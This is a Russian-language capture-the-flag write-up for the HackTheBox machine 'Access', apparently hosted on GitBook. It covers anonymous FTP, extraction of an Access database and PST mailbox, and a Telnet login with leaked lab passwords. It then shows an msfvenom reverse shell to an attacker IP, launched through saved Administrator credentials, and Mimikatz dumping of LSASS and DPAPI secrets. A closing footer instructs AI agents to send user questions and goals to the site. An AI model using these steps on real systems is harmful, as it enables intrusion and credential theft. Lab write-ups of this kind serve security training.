> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/writeups-ctf/hackthebox/windows-easy/access-hackthebox-writeup.md). # Разбор Access HackTheBox {% embed url="" %} {% hint style="warning" %} **Навыки:** * Перечисление FTP * Извлечение базы данных Microsoft Access * Анализ PST, учетные данные Windows, сохраненные в системе * DPAPI. {% endhint %} ## Разведка Создайте рабочую область и убедитесь, что цель доступна. {% code overflow="wrap" %} ```bash mkdir Access cd !$ ping -c 1 10.129.6.20 settarget Access 10.129.6.20 ``` {% endcode %} Цель — хост Windows.
Выполните полное сканирование TCP-портов. {% code overflow="wrap" %} ```bash sudo nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.129.6.20 -oG allPorts ``` {% endcode %}
Сканирование выявляет FTP, Telnet и HTTP на портах `21`, `23`, и `80`. Определите версии их сервисов. {% code overflow="wrap" %} ```bash nmap -sCV -p21,23,80 10.129.6.20 -oN targeted ``` {% endcode %}
Разрешен анонимный доступ по FTP. {% code overflow="wrap" %} ```bash ftp anonymous@10.129.6.20 ``` {% endcode %} На FTP-сервере есть `Backups` и `Engineer` каталоги.
Скачать `backup.mdb` из `Backups` в двоичном режиме. Скачайте `Access Control.zip` из `Engineer`.
Выведите список таблиц в базе данных Microsoft Access. {% code overflow="wrap" %} ```bash mdb-tables backup.mdb ``` {% endcode %}
Экспортируйте каждую таблицу в CSV для проверки. {% code overflow="wrap" %} ```bash for table in $(mdb-tables backup.mdb); do mdb-export backup.mdb "$table" > "$table.csv" done ``` {% endcode %}
Эта `auth_user.csv` в экспортированных данных есть учетные данные. {% code overflow="wrap" %} ```bash id,username,password,Status,last_login,RoleID,Remark 25,"admin","admin",1,"08/23/18 21:11:47",26, 27,"engineer","access4u@security",1,"08/23/18 21:13:36",26, 28,"backup_admin","admin",1,"08/23/18 21:14:02",26, ``` {% endcode %}
Используйте `engineer` пароль для извлечения архива. {% code overflow="wrap" %} ```bash 7z x Access\ Control.zip access4u@security ``` {% endcode %} В архиве содержится файл Outlook PST. > Access Control.pst: Microsoft Outlook Personal Storage (>=2003, Unicode, version 23), dwReserved1=0x234, dwReserved2=0x22f3a, bidUnused=0000000000000000, dwUnique=0x39, 271360 bytes, bCryptMethod=1, CRC32 0x744a1e2e
Извлеките сообщения PST. {% code overflow="wrap" %} ```bash readpst -cv -e -o output Access\ Control.pst ``` {% endcode %} Это создает `.eml` сообщение.
В письме раскрывается `security` пароль учетной записи. {% code overflow="wrap" %} ```bash Привет, Пароль для учетной записи “security” был изменен на 4Cc3ssC0ntr0ller. Пожалуйста, убедитесь, что это будет передано вашим инженерам. С уважением, John ``` {% endcode %}
Войдите в Telnet как `security`. {% code overflow="wrap" %} ```bash telnet 10.129.6.20 23 ``` {% endcode %} * security * 4Cc3ssC0ntr0ller
Получите `user.txt`.
### Повышение привилегий с сохраненными учетными данными Перечислите учетные данные, сохраненные Windows. {% code overflow="wrap" %} ```bash cmdkey /list ``` {% endcode %}
Сохраненные `ACCESS\Administrator` учетные данные могут запускать процесс с `runas /savecred`. Создайте полезную нагрузку для обратной оболочки. {% code overflow="wrap" %} ```bash msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.15.2 LPORT=1234 -f exe > nikos.exe ``` {% endcode %} Передайте `nikos.exe` на целевой хост. Затем запустите прослушиватель на порту `1234`. {% code overflow="wrap" %} ```bash nc -nlvp 1234 ``` {% endcode %} Запустите полезную нагрузку с `ACCESS\Administrator`. {% code overflow="wrap" %} ```bash runas /savecred /user:ACCESS\Administrator "nikos.exe" ``` {% endcode %} Обратное подключение выполняется от имени Administrator.
Получите `root.txt`.
### Восстановление сохраненных учетных данных администратора Сохраненные учетные данные защищены с помощью DPAPI. Извлеките их секрет из `security` профиля. #### Найдите двоичные блобы учетных данных Блобы находятся в `security` профиле. Используйте `/a` поскольку файлы скрыты. {% code overflow="wrap" %} ```bash dir /a C:\Users\security\AppData\Roaming\Microsoft\Credentials ``` {% endcode %} * `0F16D9D2A97B325E559235F507B7AB01` * `51AB168BE4BDB3A603DADE4F8CA81290`
Правильный блоб — `51AB168BE4BDB3A603DADE4F8CA81290`. Его `08/22/2018` временная метка совпадает с файлом Public Desktop `.lnk` . Другой блоб был создан во время оценки. #### Определите GUID главного ключа Изучите блоб, чтобы определить требуемый для него главный ключ DPAPI. {% code overflow="wrap" %} ```bash mimikatz.exe "dpapi::cred /in:C:\Users\security\AppData\Roaming\Microsoft\Credentials\51AB168BE4BDB3A603DADE4F8CA81290" "exit" ``` {% endcode %} Запомните GUID главного ключа. * guidMasterKey: 0792c32e-48a5-4fe3-8b43-d93d64590580
#### Проверьте LSASS на наличие главного ключа Сбросьте главные ключи DPAPI, загруженные в LSASS. {% code overflow="wrap" %} ```bash mimikatz.exe "privilege::debug" "sekurlsa::dpapi" "exit" ``` {% endcode %} Требуемый GUID `{0792c32e-...}` отсутствует. Это происходит потому, что: * Главный ключ принадлежит `security` профиля. * Текущая сессия выполняется от имени `Администратор`. * Эта `security` главный ключ не загружен в этом контексте. Сброс содержит только главные ключи для `Администратор` и `ACCESS$`. ``` GUID : {9851d4a5-f9b1-4277-b4ee-188e11f8e997} → Administrator GUID : {43ea2159-28dc-4507-90bd-751f19e7db5d} → ACCESS$ ``` #### Расшифруйте главный ключ с диска Расшифруйте главный ключ напрямую с диска. Используйте известный `security` паролем. Сначала найдите файл главного ключа. {% code overflow="wrap" %} ```bash dir /a C:\Users\security\AppData\Roaming\Microsoft\Protect\S-1-5-21-953262931-566350628-63446256-1001 ``` {% endcode %} {% hint style="info" %} Эта `security` SID заканчивается на `-1001`. SID Administrator заканчивается на `-500`. {% endhint %} Расшифруйте главный ключ с помощью Mimikatz. {% code overflow="wrap" %} ```bash mimikatz.exe "dpapi::masterkey /in:C:\Users\security\AppData\Roaming\Microsoft\Protect\S-1-5-21-953262931-566350628-63446256-1001\0792c32e-48a5-4fe3-8b43-d93d64590580 /sid:S-1-5-21-953262931-566350628-63446256-1001 /password:4Cc3ssC0ntr0ller" "exit" ``` {% endcode %} SHA-1 главного ключа — `bf6d0654ef999c3ad5b09692944da3c0d0b68afe`.
#### Расшифруйте блоб учетных данных Используйте SHA-1 главного ключа, чтобы расшифровать блоб учетных данных и восстановить сохраненный пароль. {% code overflow="wrap" %} ```bash mimikatz.exe "dpapi::cred /in:C:\Users\security\AppData\Roaming\Microsoft\Credentials\51AB168BE4BDB3A603DADE4F8CA81290 /masterkey:bf6d0654ef999c3ad5b09692944da3c0d0b68afe" "exit" ``` {% endcode %}
--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation by asking a question. Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters: ``` GET https://hacking-notes.jord4n.pro/ru/writeups-ctf/hackthebox/windows-easy/access-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.